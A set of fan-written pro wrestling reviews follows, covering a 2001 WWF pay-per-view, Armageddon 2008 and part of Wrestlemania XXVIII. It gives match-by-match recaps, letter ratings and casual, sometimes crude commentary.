On Smackdown, the RTC tried to beat up Kat so Lawler made the save, setting up a match tonight.

Stevie gives the RTC a pep talk.

Kat has a shirt on and nothing else. She wanted to be allowed to wear less than that on TV.

Jerry Lawler vs. Steven Richards

Tazz does commentary in Lawler’s place. He’s still a wrestler so this is a new thing for him. He’s a bit like his normal commentating self but not all the way yet. Lawler makes a full entrance despite being at the commentary desk not 2 minutes ago. We see a clip of the RTC stopping the (XFL’s) Las Vegas Outlaws cheerleaders last night. RTC was a parody of the Parents Television Council who got on Vince every 9 seconds for something he did.

This is the walking definition of a catch your breath match as the fans need something worthless to bridge the gap from the war they just saw to the last two matches. Lawler expands his offense from just punches by adding in rapid fire punches. This is why it’s great to have someone like Lawler around: you can throw him in there for something like this and you know he’s going to at least be passable, especially since he only wrestles like twice a year so his expectations are very low.

Kat and Ivory go at it for a bit but the distraction allows Richards to take over. Richards misses a splash in the corner and Lawler takes over for a bit. Apparently if he wins Kat gets to be naked. Ivory comes in and Teddy Long takes FOREVER to get rid of her. Kat tries to hit Richards with Ivory’s belt but she nails Lawler by mistake for the pin. Kat has to join RTC now, but she was released in like two weeks, resulting in Lawler quitting. They were married at the time.

Rating: D. This was pretty weak but at the same time it was about as good as it was going to get. It was on the level of a pretty bad TV match but like I said this was designed to just fill in about 10 minutes so that the fans could breathe a bit. Nothing special at all but it did its job I guess.

We recap the tag title stuff which is another three way feud. Edge and Christian gave Kane a Conchairto on Monday night.

Taker says a lot of basic stuff.

Chyna’s book is popular. Random to say the least.

Tag Titles: Undertaker/Kane vs. Edge/Christian vs. Dudley Boyz

This is a tables match but not elimination style. Uh sure. The Brothers go after Edge and Christian in the aisle but stop when the Dudleys come out and corner them. Dudleys are champions here. The Canadians hide and it’s on early. It’s a massive brawl of course. Tazz is still on commentary here. The table HHH went through is still just in pieces on the floor which is funny for some reason as it always is.

The Dudleys are down and the Brothers beat up the Canadians. The champs make the save from a double powerbomb but Bubba slips on a chair and falls on his back. For the first time we get in the ring and Bubba gets his crotch stepped on. What’s up to Edge makes up for that though. This is just a big mess of course but it’s fun. Taker and Kane stop the getting of tables and Christian hits Unprettier on Bubba in the ring.

Stereo powerslams by the big men and then they both go up. Taker goes airborne which isn’t something you see that often really. We get some near endings but a bunch of saves are made including a low blow to Taker. A pair of chokeslams hit but there aren’t any tables. The Dudleys get chokeslammed too and the Brothers stand very tall.

They set for stereo powerbombs but Rikishi and Haku waddle down to stop it and brawl with the monsters. Have we ever had a generation without an evil Samoan team? For some reason Vince thought these Samoans would be a good choice for a team, even though Haku wasn’t Samoan. The monsters all go up the ramp to tick off the crowd. 3D on Christian ends it.

Rating: C+. Just a fun match here but somehow this was supposed to set up monsters vs. monsters, even though the ethnic monsters were gone very soon. This wasn’t much but it definitely wasn’t bad. The constant double teaming got pretty stupid after awhile but it wasn’t horrible. Passable match for what it was, but with TLC 2 next month, it’s hard to stay underwhelmed.

We recap Rock vs. Angle. Rock beat Big Show to get the shot. That’s it. Rock says tick tock a lot also.

Rock says the same stuff we heard in the video package.

WWF Title: The Rock vs. Kurt Angle

It’s pretty much one sided as to who is going to win here and even Ross and Tazz acknowledge it. Long staredown to start and we’re on. The straps are down before we even start as we hear about him using some hold called an ankle lock. Rock hits a jumping Russian leg sweep for two. Ankle lock goes on about a minute in but Rock makes the ropes. These two always have had good chemistry together so this should be solid stuff.

A pair of belly to bellies but Rock almost gets dropped on his head the first time. He clearly tucks his head more on the second one so at least he can learn on the fly. Sharpshooter goes on and Angle is in trouble. This is very fast paced so far. A belly to back suplex from Kurt but he didn’t spin slightly so it’s not the Angle Slam. Second rope suplex gets two for Rock.

I’m not sure if I like Rock’s DDT or not. He does it oddly for some reason. And here’s Big Show for no apparent reason. Chokeslams for everyone including the referee. Show’s music plays him out as I expect us to cut to a commercial or something. Angle covers Rock but there’s no referee. He pops Angle with the title as there’s another referee. What a heelish thing to do but Angle gets up anyway.

Ankle lock out of nowhere and Angle drops some nice cursing in there. Rock gets the counter and initiates his ending sequence. The elbow gets two to a huge reaction as everyone thought it was over. Rock Bottom is blocked and there’s the Olympic Slam for two and a freaking ROAR. Rock starts his punches but Angle kicks him in the ankle in a nice counter.

Angle gets rammed into the buckle chest first and walks into the Rock Bottom for….two? Angle did not move at all and the announcers sound very confused. The referee seemingly just stopped counting instead of doing the three. Either that was a botch or there’s something I’m missing here. The fans boo the heck out of it as Rock picks him up and hits another Rock Bottom for the clean pin. That had to be a botch on the first one.

Rating: B. Solid match here, but the Big Show thing was just totally pointless. The ending was just weird though as that had to be a botch though as it just made no sense at all. These two always worked well together and this was no exception. Solid match and definitely worthy of a main event on a PPV.

Overall Rating: A. This was an AWESOME show with two great matches and only one that wasn’t much, which was 5 minutes long. This was one of the best periods for the company and you can see why right here. They know they’re on top of the world and all roads lead to Houston and Wrestlemania, which is the undisputed crowning moment for the company. Great show and highly worth checking out from top to bottom.

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Armageddon 2008: Jeffrey Freaking Nero Hardy

Armageddon 2008
Date: December 14, 2008
Location: HSBC Arena, Buffalo, New York
Attendance: 12,500
Commentators: Jim Ross, Jerry Lawler, Matt Striker, Todd Grisham, Michael Cole, Taz

Well this is the final show of the series and thankfully we go out with a big old bang. The main events are Edge vs. HHH vs. Hardy for the Smackdown title and Jericho vs. Cena for the Red Show title. Also there’s Batista vs. Orton in the closest thing to a major match they ever had (not counting some random title matches). Let’s get to it.
In a not very interesting bit of trivia, the dark match for this show is the same match that was the dark match for the previous year’s Armageddon: Jesse and Festus vs. Miz/Morrison. The more famous team lost the first time and won this year.

It’s Armageddon and the same theme is used.

Matt Hardy vs. Vladimir Kozlov

Vlad was released on the day this was written. Matt is ECW Champion but this is non-title. Vlad has that rare thing called credibility here and is undefeated. The fans chant USA as is their custom because they’re anti-foreigner. Hardy starts off kind of well and is then thrown all over the place because Vlad is Russians and Russians are better fighters. He throws on a key lock and the fans cheer for Hardy.

Vlad shifts off to an armbar and pulls Matt off the mat (oh the irony) by his arm which looked REALLY freaking painful. Trapping headbutts keep Matt from getting any long term offense going. Vlad gets a DDT to either the head or the arm. It looked like a regular one but it seemed like Matt landed on his arm. Back to the keylock as this isn’t a very exciting match even though the fans are interested in it.

Matt manages to get up top and hit a top rope elbow to the head. Vlad gets tossed to the floor but Matt’s dive doesn’t work. He counters the counter though and Vlad tastes the steel. Not really but you get the idea. I doubt Vlad likes to lick posts but who knows, maybe he does. Matt goes up again but jumps into a punch for two. He goes into the corner for ten punches but gets dropped onto the post. The headbutt to the chest and a standing spinebuster end this.

Rating: C. Not a bad match but there’s something out of place about a Russian monster using arm holds for the majority of the match. Matt losing was expected because he’s Matt Hardy, but Vlad’s push more or less stopped soon after this, mainly due to an abysmal fan response at Cyber Sunday. Nothing great here but it was fine for what it was.

Edge, Vickie and Chavo are in the back. Edge leaves to get ready and Chavo asks Vickie how they got rid of Jeff that night in the hotel. Vickie doesn’t want to answer and sends Chavo for coffee.

Horny comes up to Eve and hits her with a rubber hammer. Finlay comes in to help her and Eve says it’s cool. Finlay tells his son not to come out for the match later because he might get hurt. Horny is sad.

Here’s William Regal with Layla to sit at ringside for the next match.

Intercontinental Championship Tournament Final: CM Punk vs. Rey Mysterio

Why they call it that I have no idea because it’s for a shot at the title, held by Regal. Punk is introduced as half of the tag champions but he and Kofi lost the titles at a house show the previous night to Miz and Morrison. There’s a pre-match handshake and here we go. Mysterio might have a bad wrist but it isn’t taped. Jerry does his job and talks about how having an injury taped up is a bad idea at times.

Some lone fan tries to start a Miz and Morrison chant and the arena shouts him down. Pretty basic back and forth stuff to start but they’re speeding up. 619 is avoided but the GTS fails also. Rey is sent to the floor in front of Regal and Punk hits a big dive which gets two in the ring. Tilt-a-whirl backbreaker gets two. Rey tries to speed things up but is caught in the Tree of Woe and Punk fires off some kicks.

He avoids a charge though and hits a moonsault off the top for two. It might have hurt his already injured wrist though and Punk capitalizes it. Punk grabs a weird kind of crossface where he puts Rey’s arm behind Punk’s back and cranks back on it. Rey gets to the ropes and uses what appears to be La Mistica (Sin Cara’s move in Mexico) but Punk makes a rope as well.

A dropkick puts Punk on the floor and Rey hits a big dive off the top, putting both guys down. Back in a victory roll by Rey gets two but Punk counters into a rollup of his own for two. Pretty back and forth match so far with both guys mirroring each other. Punk hits a running bulldog for two. Regal is finally interested in the match while Layla holds the title up for him.

Punk puts Rey on the ropes but gets put in the 619 position. That misses again and Punk tries the GTS. Rey reverses that into a rana to put CM into 619 position. It finally connects but the splash misses. Crucifix gets two for Rey. Punk counters another rana attempt and hits the GTS out of mostly nowhere for the pin and the shot at Regal. Rey’s nose is busted.

Rating: B. Rather good match here and they were moving out there. The ending is kind of out of nowhere but the GTS looked good. Rey would get the title from JBL at Mania in like 30 seconds after JBL beat Punk for it who beat Regal for it like three weeks after this. Good match here though as is par for the course with these two.

Jeff talks about spending the last year to get ready for this moment. He’s been told he had to change to get what he wanted, but that’s because the people are afraid of him. Tonight he’ll prove everyone wrong and become WWE Champion.

We recap JBL and Shawn’s issues. The idea is that Shawn is broke due to the 2008 financial crash. He had to take a job with JBL as his servant basically and give up his pride. The problem with all this was simple: Shawn Michaels is a top level WWE Superstar. Are we supposed to believe he doesn’t make enough to pay his bills?

Here’s JBL who introduces Shawn as his new employee. He says that the financial issues have caught up with him and he’s invested his money in the stock market. See, that’s the thing: he got his money being a wrestler and he has the same job now. He’s still making checks now so why is this such a big issue?

It makes sense in theory but it always came off as a hole in the story to me. Shawn doesn’t like JBL but he’s not going to become one of those guys that you hear about who is a tragedy and going to a high school gym to wrestle for a quick payday. YOU WERE IN THE MATCH OF THE YEAR LAST YEAR AT WRESTLEMANIA. I THINK YOU HAVE SOME TIME LEFT. Anyway, Shawn shakes JBL’s hand and is all sad. He always will have a lifetime job looking for his smile.

Orton says…nothing because Cody and Manu interrupt. Cody says Orton was the star of Evolution and Manu says that Orton has been waiting to prove himself as the better man for years. I can see why Manu didn’t keep his job long. Everyone leaves after that in a weird moment.

Some Buffalo Bills are here.

Finlay vs. Mark Henry

This is a Belfast Brawl, which means street fight. Henry had tried to squash Horny but Finlay made the save for his son. Tony Atlas is with Henry. Striker says this has its roots in the streets of Belfast. There are wrestling rings in Belfast streets where you win fights by holding someone down for three seconds in front of 12,000 people? Henry sends him to the floor quickly but Finlay manages to send him into the announce table. Henry takes over and pounds away outside, ramming him into the railing.

No Hornswoggle out here as per his pop’s request. Back in the ring the splash misses and Finlay tries to get in some offense. The Irish dude pulls out some weapons, in the form of like three trashcans. The delay lets Henry get up and Finlay goes down fast. Henry hits that move that has no name where you jump on the guy’s head when he’s in the 619 position. He yells at Finlay, saying you wanted a fight and now you got one.

Finlay manages to fight back with a trashcan shot and another to put Henry down. He pounds away a bit and gets two. Henry takes over again and stands on Finlay’s chest but misses a Banzai Drop from the middle rope. Yokozuna he is not. There’s that Irish club that I can’t spell but Henry knocks it out of Finlay’s hand. Henry breaks the club easily and does the same to a kendo stick.

Bear hug goes on and here’s Horny. Henry casually throws him into Finlay’s balls from where he came. Or did Finlay come? Not sure actually. I guess Finlay had to so Horny could. And I guess Finlay had to be Horny to come so Horny could come. I love wordplay. Anyway Henry beats Finlay down and picks up the steps but Finlay dropkicks the knee to send Henry’s face into the steps. Horny slips him another stick (add that aspect to the aforementioned joke) and a shot to the head with that ends this.

Rating: C-. Eh nothing too horrible here. The weapons probably saved this as I don’t even want to imagine these two trying to have a regular match. Not a horrible match here and Horny helping to win is ok. I don’t mind him as a sidekick but being on the show week after week gets to be a bit much.

The Divas are decorating a tree and here’s Santa-Haas. They all get presents which were already in the room. Santino and Beth come in and show off Beth’s Diva of the Year Slammy. Santino tries to get a present out of the box but Boogeyman is inside. He runs for the door and there’s Goldust under some mistletoe. Boogey gives Goldust a present and then the two of them along with Santa, the Divas and the drugged out Festus sing We Wish You A Merry Christmas. It’s as weird as it sounds.

Kennedy says drink responsibly and don’t do drugs. However, do go get his new DVD, Behind Enemy Lines III.

We recap Batista vs. Orton. They were both in Evolution and this fight is basically to decide who was the better young and future star in the team. Both won world titles and then Orton went all heel and said he was better than everyone else. I don’t get why this is at Armageddon and not like at, Wrestlemania or something.

Batista vs. Randy Orton

Cody and Manu are with Orton. They fight over a lockup to start and there’s no real advantage yet. Orton takes him to the mat but that gets him nowhere at all. Batista goes to the floor and Rhodes gets involved for generally evil purposes. The two of them get thrown out quickly though so we get down to a regular match. Orton sends the shoulder into the post and works on the arm for the first real advantage.

They’re treating this like a clash of the titans which it really is. There’s an RKO chant also. Batista snaps and tries a Batista Bomb early but Randy escapes into a neckbreaker for two. Batista tosses him to the floor and Orton may have reinjured his shoulder which was hurt earlier in the year. Back in Orton manages to get the elevated DDT for two. This is when the move made sense as the rope is under Big Dave’s knees instead of his ankles, making it a bit harder to escape.

Since we were getting close to something interesting out of Orton, it’s the Orton Stomp to the rescue! When you steal moves from Ronnie Garvin, you’re not in a good place. Batista goes to the floor as the pace of the match has gone down into negative gears. Orton throws on a chinlock which is broken rather quickly. He’s working on the neck so we hit the chinlock again.

The fans aren’t sure if they want to chant boring or not. Big Dave gets underneaath the chinlock and drops back with the weight crashing down onto Randy. Batista wins a slugout but Orton uses the lethal art of kicking your feet to escape a powerslam. They go outside again which doesn’t amount to much. A superplex by Orton gets two.

Spinebuster gets two out of nowhere for Batista. He’s too spent to follow up immediately and the Batista Bomb is delayed. Orton gets the backbreaker for two. RKO is blocked and Batista gets a slam for two. The Animal (just a generic animal, not the Viper) is getting frustrated. Another Bomb attempt is countered and Randy gets a DDT for two. The Punt is countered by Batista putting him in the corner and ramming in shoulders and then ten punches. Orton tries to counter into something but winds up in the position for the Batista Bomb and we’re done.

Rating: B-. Well the second half was better but at the same time the first half was really boring. Orton got A LOT better over the last year or so and was just dull beyond belief as a heel in 2008. A lot of this match was weak but they turned it around and got something close to a big match going. The pacing was off too though and it looked like they kept wanting to get going but it never clicked.

Recap of the Slammys from Raw on Monday. This is mainly done to set up some more of Cena vs. Jericho. They’re fighting for the Raw World Title later. Jeff Hardy, Edge and HHH got involved somehow too.

Maria/Mickie James/Kelly Kelly/Michelle McCool vs. Maryse/Jillian Hall/Victoria/Natalya

Santa’s Little Helper’s match here. The heels are in green and are elves I guess. Maria’s song is really catchy. I miss Michelle. Mickie vs. Maryse starts us off. Mickie keeps going after her and Maryse tries to pose. Off to Mickie vs. Natalya in the real fight here. Nattie is pretty new at this point. Kelly is Jewish and Striker calls her the Hot Hebrew. That sounds like a really bad coffee shop. The announcers are having a fun time with this. The match is totally pointless of course and it’s off to Maria. Somehow she gets compared to John Berzerker Nord. Everything breaks down and Michelle hits the Faithbreaker (Styles Clash) to end Maryse.

Rating: C+. Don’t bother trying to figure out if the rating is good because it isn’t, but there was a weird energy for this one and I had fun with it. Also Michelle in shorts and Maria with her energetic perkiness are never bad things. The girls looks hot and everyone was having fun in a nice breath of air before the main events. What more can you ask for?

Khali comes out for the Kiss Cam with the Divas in the ring still. Michelle runs away with her Divas Title. Instead he’s going to kiss the other three. This doesn’t work either so Runjin Singh says that it’s because he’s too much man for them. Singh has a backup plan in the form of Mae Young. This is one of those things you classify as all in good fun. Yes it’s stupid, but I like it for some weird reason. The announcers are cracking up over Lawler’s one liners.

Preview of Prince of Persia, which is the game sponsoring the show.

We recap Jericho vs. Cena which is a rematch from Survivor Series where Cena came back to beat Jericho for the title after being gone for like three months. Jericho never beat Cena for the most part so what do you think is happening here? Oh and Jericho is the Superstar of the Year, which he probably deserved. The rest of the video is a long beatdown of Cena by Jericho with help from Legacy.

Raw World Title: John Cena vs. Chris Jericho

After some big match intros we’re ready to go. Crowd is mostly pro Cena, I’d say 75-80%. Jericho outsmarts him to start and stomps away on the back and the neck. Cena is like screw this and spears him down to hammer away. Jericho fights out and throws on a sleeper. Cena might go to sleep faster if Jericho wasn’t calling spot to him. Dueling chants already but the better one is for Jericho.

Cena reverses into an attempted FU but that gets countered into a DDT. Cena rolls to the floor and Jericho gets caught in another FU attempt but he counters THAT into a bulldog off the apron and onto the steps. Cool sequence there. Jericho stays on the neck which is good psychology from a master of it. Cena counters into his finishing sequence but it’s WAY too early for that.

Jericho manages another counter to the FU, this time into the Walls. Scratch that as it’s more like a door frame which is reversed by Cena anyway. Missile dropkick from the middle rope gets two. Nice fast paced match here so far. Throwback is blocked and Jericho hits the Lionsault for two. We go up top and Cena blocks a superplex and hits the top rope Fameasser for a delayed cover.

The ninth or so FU attempt is countered as Jericho lands on his feet and the Codebreaker gets two. Jericho charges at Cena again and this time gets caught in the FU. It only gets two and both guys are down. Jericho pulls a Bret and plays possum into a small package for two. Cena grabs the STFU but Jericho counters into the Walls. He manages to crawl through Chris’ legs and grabs the STFU for a relatively quick tap out.

Rating: B+. I liked this one as they had both guys moving out there the entire time and constantly countering the finishers. Cena tried the FU about 10 times but he kept hammering away until Jericho ran out of counters and got frustrated, resulting in his downfall. Nice story being told and great execution of it. What more can you ask for from a match like this?

We recap the Smackdown World Title match. Someone jumped Hardy to keep him out of the triple threat match at Survivor Series. Edge returned and stole the title from HHH. The attack on Hardy was called the most disgusting thing of the year for some reason because it implied Jeff was on drugs or something, despite that never being mentioned ever. Oh well I guess.

Smackdown World Title: Edge vs. HHH vs. Jeff Hardy

Solid heat on Edge and a solid gut also. Jeff goes straight for Edge as JR can’t remember if Jeff got attacked in Baltimore or Boston. Basic opening so far with Jeff driving the action. He sends Edge and HHH to the floor and dives on the Canadian. Trips takes his head off though so it’s Edge vs. HHH in the ring now. How was that never the main event of a bigger show than Great American Bash?

Jumping knee to the face puts Edge down as does a neckbreaker. Edge’s bad luck continues as he gets caught in a facebuster. Jeff back in now and he gets a facebuster for Christmas also. HHH tries the Pedigree to Edge but Jeff takes them both out with a Whisper in the Wind. The Game is down and Jeff gets crotched on the top. HHH comes in to get Edge and it’s a Doomsday Device with Jeff hitting a Whisper in the Wind instead of a clothesline. Edge’s bump is SCARY here as he lands on the back of his head.

Pedigree to Jeff is countered again and he goes into the buckle. Slingshot dropkick hits HHH but the Edge-O-Matic takes Jeff down for two. HHH’s bad luck continues in the form of a spear. Twist of Fate and Swanton hit HHH but Edge makes a last second save. Everybody goes to the floor and HHH is mostly dead.

Edge gets whipped around a lot and Jeff loads up the announce table. HHH pops up again and sends Edge onto the table but not through it. Jeff escapes a Pedigree and gets killed with a spear through the third table. Edge vs. HHH in the ring with the Canadian hitting an Edgecution for no cover. Spear is countered into the spinebuster and there’s the Pedigree.

Kozlov of all people pops up and breaks up the pin before beating on HHH. Matt Hardy comes out to get rid of Kozlov. Jeff goes up but Kozlov shoves him away before the Swanton can hit. Matt and Vlad go up the aisle and only Edge is in the ring. HHH comes back in but walks into a spear for two. A frustrated Edge goes to the floor and sets for a Conchairto.

Jeff grabs a chair and BLASTS Edge with it. He wants the Swanton but HHH crotches him. That was a sick, sick chair shot and it was only with one hand. HHH grabs the Pedigree in the corner but Jeff dives off the top with the Swanton to HHH and covers Edge for the pin and his first world title. The roof blows off the place and with good reason. The LD exploded and I did too, since I slept through the original broadcast of this and the first thing I saw was Jeff diving onto HHH.

Rating: B. Solid match all around here but the point here was for the ending. That Swanton and the reaction from the crowd was excellent. The whole thing worked perfectly and the match was good. Not sure why they had Kozlov and Matt in there but it wasn’t a big issue. The right man won here and that’s all that matters.

The last five minutes of this are spent on a huge celebration by Jeff. Totally awesome moment for one simple reason: this has been a year in the making and Jeff felt like he finally earned it. This could have been in the main event of Wrestlemania but the shock of it was a great bonus perk. I’m not a Hardy fan but this is still awesome on every possible level.

Jeff’s celebrating on top of the set ends the show.

Overall Rating: A. I really liked this show. The whole thing worked incredibly well and there isn’t a bad match to be found. You get an historical moment in the title change at the end, another good match in cena vs. Jericho, a big match in Orton vs. Batista and hot women in Santa outfits. What more can you really ask for from a show? I had a really good time with this and it’s worth seeing.

Armageddon is now done, leaving us with Unforgiven, Great American Bash, No Mercy and Backlash. This was a surprisingly good series with some bad shows but when it was good, it was REALLY good. The final one is probably the best or maybe 2005. Either way some of them are worth seeing but on the other hand some aren’t worth seeing at all. Translation: it’s just like every other PPV series.

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Wrestlemania XXVIII – One Of The Best Shows Of All Time

Wrestlemania XXVIII
Date: April 1, 2012
Location: Sun Life Stadium, Miami, Florida
Attendance: 78,363
Commentators: Michael Cole, Jerry Lawler
America the Beautiful: Lillian Garcia

As I wrote out that title, I almost started shaking. Today is Wrestlemania Sunday. In less than two and a half hours, the show is going to begin. This is the day that we as fans wait for all year long. Everything ends tonight and at the same time, everything begins. You all know the card by now, but for those who might forget, the main event is John Cena vs. The Rock, Once In A Lifetime (until ratings go down and we need a rematch). Let’s get to it.

First up we’ve got a pre-show match as a bonus.

Tag Titles: Justin Gabriel/Tyson Kidd vs. Primo/Epico vs. Usos

Primo/Epico have the titles and have beaten the Usos about five times already. Kidd and Gabriel are teaming for the first time after Kidd asked Gabriel if he wanted to be a team. Gabriel said yes, and apparently that qualifies you as deserving a title match. New tights for the Usos here. Josh and Striker are doing commentary for this match. This is under WCW rules as in three in the ring at once, but in a twist you can only tag your own partner.

Jey, Tyson and Primo start things off. Primo is sent to the floor and Tyson gets two off a sunset flip. Primo comes back in with a missile dropkick as Jey gets beaten down. Kidd makes the save but gets DDTed for two. Primo loads up a superplex on Jey but Tyson springboards up to make it a Tower of Doom in a cool twist on the traditional spot there. Tags bring in Epico and Jimmy but I think Kidd is still legal for his team.

Jimmy comes out of the corner with a spinning cross body and a Bubba Bomb for two. Tag to Gabriel who jumps over Jimmy but walks into a Samoan attack. Back to Jey who hits an assisted Samoan Drop. Jimmy tags in quickly for a double Rikishi attack to Epico and Gabriel. Epico gets dropped onto Primo so Jey can hit a HUGE dive onto both of them.

Kidd pops up on the apron but Jimmy launches him to Jey for a Samoan Drop. Gabriel sets for a top rope Asai Moonsault and hits it on his second attempt. Better safe than sorry on that spot. He tries the springboard 450 but (mostly) hits knees. Backstabber by Epico pins Jey at 5:05.

Rating: B-. Really fun opener here with the six smaller guys being thrown out there to fire up the crowd. That’s what cruiserweights and hot Latin women that can shake their hips were made for so you can’t ask for much more than that. I’m a big Uso fan so seeing them on Wrestlemania was a cool thing to see. Very good start to the night.

Lillian opens us with America the Beautiful. She even sings the second verse.

The opening video is about how this is the beginning, which includes a set of clips of the beginning of a lot of guys’ careers, including some shots of Cena in OVW. We also get some shots of the main guys’ careers. It’s the four in the main events only, which makes sense.

Smackdown World Title: Sheamus vs. Daniel Bryan

Makes sense. Might as well make this the most worthless world title match in company history given the build for it so far. Cole and Lawler are calling this alone. Bryan has his robe here and AJ is looking GREAT. We get the kiss to start and Brogue Kick and it’s over in 8 seconds. I kid you not it was that fast.

We have 7 matches left and almost four hours to go. Each match could conceivably get 20 minutes each.

Miz fires up Team Johnny in the back. They don’t seem to care until Otunga comes in to introduce Johnny in a white suit. He says this is going to be a night in the ranks of Hogan slamming Andre and Austin refusing to submit to Bret.

Win a trip to Wrestlemania 29.

Kane vs. Randy Orton

This is over Kane shaking Randy’s hand last year and hating himself for it. I can’t imagine this feud isn’t going to continue after this. Seeing Kane in daylight in the welder’s mask makes him look pretty ridiculous. Kane takes him into the corner to start as I think the fans are chanting for Orton. Well it’s longer than the previous match at least. Orton escapes a chokeslam and stomps on the foot/ankle.

Elevated DDT (called a bulldog by that idiot Cole) is countered and Kane drapes him over the top rope for a big boot. This is Kane’s 14th Mania which has to be up there on the all time list. Kane takes him down and it’s off to a chinlock. Orton fights up with punches but runs into the uppercut for two. Side slam gets two. Kane again stops Orton’s comeback and hits a vertical suplex for two.

A headbutt slows Kane down and Orton spins out of another side slam via a backflip. Orton’s backbreaker puts Kane down but his clotheslines don’t do much. There’s the powerslam and Kane’s shoulder goes into the post. Kane comes back and goes up but his clothesline is countered by a dropkick in a cool spot. Orton loads up the Punt but runs into the chokeslam for two. Kane is frustrated so he does an Undertaker situp.

He pounds Orton down in the corner but Randy comes back with a right of his own. RKO is countered but Orton kicks the knee out again. Randy charges into an elbow and Kane goes up but there’s Orton again. Orton pounds him down on the ropes and goes up with him. He loads up something but Kane grabs him by the throat and gets the pin with a super chokeslam at 10:55.

Rating: B-. This was my upset pick and I wasn’t disappointed. That ending was pretty cool too as it looked great. Orton usually brings it at Wrestlemania and this was no exception as he got a decent match out of Kane. I’m likely overrating it but this is a match I’ve wanted to see for years.

Santino is with a captain from the show Deadliest Catch. They’re having I think king crabs and Mick Foley is with them. He puts on a yellow hat and talks like a pirate but the captain tells him no one talks like that. There are Socko and The Cobra and they attack the crabs. Ron Simmons comes in and you know the rest.

The National Guard is awesome.

Intercontinental Title: Big Show vs. Cody Rhodes

The idea here is that Big Show can’t win at Wrestlemania and Cody has made fun of him for it. Cody immediately bails to the floor and Show goes after him. Cody has red trunks tonight. He dives onto Show on the floor and is tossed back in via a SCARY show of strength. Show destroys Cody with chops and gives him a Stink Face. Cody goes after the knee to get Big Show down which is smart.

Show is down on the mat now as Cody shouts about how this is his moment. He hooks a standing leg lock and Show is in some trouble. He starts to get up but Cody drapes the arm across the top rope to slow him down. Disaster Kick (I guess it’s no longer Beautiful) staggers Show but a second attempt results in a spear. WMD gives Show the title at 5:23.

Rating: D+. I wasn’t wild on this but it’s a good way to get the title off Rhodes. That being said, I don’t buy the whole “Show gets his moment” deal at all. He was in the main event before, so how exactly is winning the IC Title in about 5 minutes a bigger deal? Doesn’t work for me at all, but this should be enough for Cody to move up the ladder.

Show cries post match and kisses I’m assuming his wife.

Video on what it means to be a Diva. This would be better used with the sound off.

Maria Menounos/Kelly Kelly vs. Beth Phoenix/Eve Torres

This is a REALLY risky move as the other four matches are Punk vs. Jericho, the Cell, the main event and the Battle of the GM’s. That’s a stacked final four matches and I’d be worried about them overcrowding the second half of the show. We get the video of the evil ones invading Extra. Maria arguing back at them is still horribly bad. She has a legit case of bad ribs due to Dancing With The Stars, plus stress fractures in her feet.

The sun has gone down now and the stadium looks awesome. Eve and Kelly start things off. Kelly charges into a boot in the corner but the moonsault results in her getting crotched. Here’s Maria and it’s a double Stink Face. Beth kicks her in the bad ribs and Eve goes with a bodyscissors. Maria fires off some decent elbows as the fans chant for her to tap. Beth comes in with a modified bearhug but Maria fights out and tags Kelly.

The annoying screaming blonde does her usual stuff but adds a Molly Go Round for two as Eve saves. Glam Slam is countered into a bulldog and there’s the tag to Maria. She….goes up and this isn’t going to end well. Beth drills her and sets for a gorilla press, but Kelly gets her down and shoves Beth into Eve so Maria can get the rollup pin at 6:54.

Rating: C+. You know, given the amount of injuries to Maria, this was really impressive. That girl legit tries out there every time and you can’t ask for more than anything than that. Decent match and the Kelly flip dive wasn’t bad. When Kelly is the worst worker in a match that involves a celebrity, you know there’s a problem.

Shawn says this match is the end of an era. If HHH loses, it’s the end of the Game. Shawn thinks it’s ironic that he can end an era.

New attendance record: 78,363.

JR is here to call the rest of the show. Is that a beard on him?

The Undertaker vs. HHH

Well this is quite the first hour main event. It’s 8:03 and we’ve got four matches left, which means this and Rock vs. Cena are going to need to be about 35 minutes each. They can do it but that would be a lot. This is billed as The End of an Era, but I don’t know what HHH is exactly putting up. If he loses, it’s the same thing as last year. This is inside Hell in a Cell and Shawn Michaels is guest referee.

No buildup package so I’ll help you out here. Taker beat HHH last year but had to be carried out, so he asked for a rematch. HHH didn’t want to do it so Taker played the “Shawn is better than you” card to get him to say yes. The rest of it was a lot of ego stroking and here we are. HHH’s big entrance this year is him coming out of something that looks like Vader’s old helmet with spikes on it.

Shawn’s shirt isn’t tucked in. It’s Wrestlemania and he’s that sloppy? I think we need a new icon. Taker’s robe looks like it has muscles painted onto it. Or does it look Japanese? These entrances still give me chills, even if he’s bald under there. We get lightning, thunder and smoke as always. His head isn’t completely bald but it’s close enough. It’s almost a mowhawk with hair on the side of it if that makes sense. That look kind of works on him actually.

The Cell is lowered to Memory Remains by Metallica. Slugout to start and JR calls Taker’s punches carcinogenic. HHH comes back so Taker throws him into the corner. The haircut is attributed to HHH not giving him a rematch immediately. Ok then. Out to the floor and Taker goes into the Cell. Now HHH goes into it and is backdropped. This appears to be the taller model with the very little space between the cage and the ring.

Taker pounds on him and chokes on the floor. Shawn tries to break up the choking but Taker knocks him away. Into the cage again as Taker has controlled so far. HHH goes into the steps and we go back inside. The Facebuster is no sold and Taker clotheslines him down. Old School connects and HHH is down. Back to the floor and Taker rams the steps into the Game’s face.

The steps are placed in the ring and Taker this the legdrop (loathsome according to JR) on the apron. Back in HHH grabs a DDT from out of nowhere to put both guys down. HHH rams Taker’s head into the steps three times and tries a Pedigree on the steps which is countered into a backdrop. Taker charges into a spinebuster onto the steps but he manages to grab the Hell’s Gate which won the match last year. In a REALLY impressive counter, HHH picks him up into a powerbomb for two.

We’re ten minutes into this and it feels like we’re only in the beginning. Here are two chairs from HHH and one goes into Taker’s ribs and back. The steps are set up in the corner and Taker gets whipped into them. HHH throws them out of the ring and there’s another chair to the back of Undertaker. The Game goes Stone Cold with the chair and Shawn tries to stop him but can’t.

Shawn finally throws the chair out and HHH says if Shawn wants it to end, then end it. HHH grabs the other chair and shoves Shawn down to beat on Taker some more. That must be about 20 shots with it so far. Taker specifically says not to stop it when Shawn asks. Taker gets up and a shot to the ribs and back puts him right back down, getting two. HHH heads to the floor and there’s the sledgehammer.

HHH says he doesn’t care as he’s basically turning heel mid match. He keeps telling Shawn to end it but Taker keeps saying no when Shawn asks to end it. Sledgehammer to the face gets two. There appears to be some blood over HHH’s eye and oh yes there is. It’s not bad but it’s certainly there. HHH sets for a BIG shot to Taker’s prone head but Shawn stops it and throws the hammer to the floor.

HHH keeps shouting at Shawn to end it because Taker is done. Shawn pulls his finger up to end it but can’t do it. He looks at Taker and thinks about doing it again but still can’t do it. Now he looks at Taker again…and Taker puts Shawn in the Hell’s Gate! HHH hits Taker in the head with the hammer but Shawn is down now. HHH sets for a big hammer shot but Taker kicks him low and puts the Hell’s Gate on again.

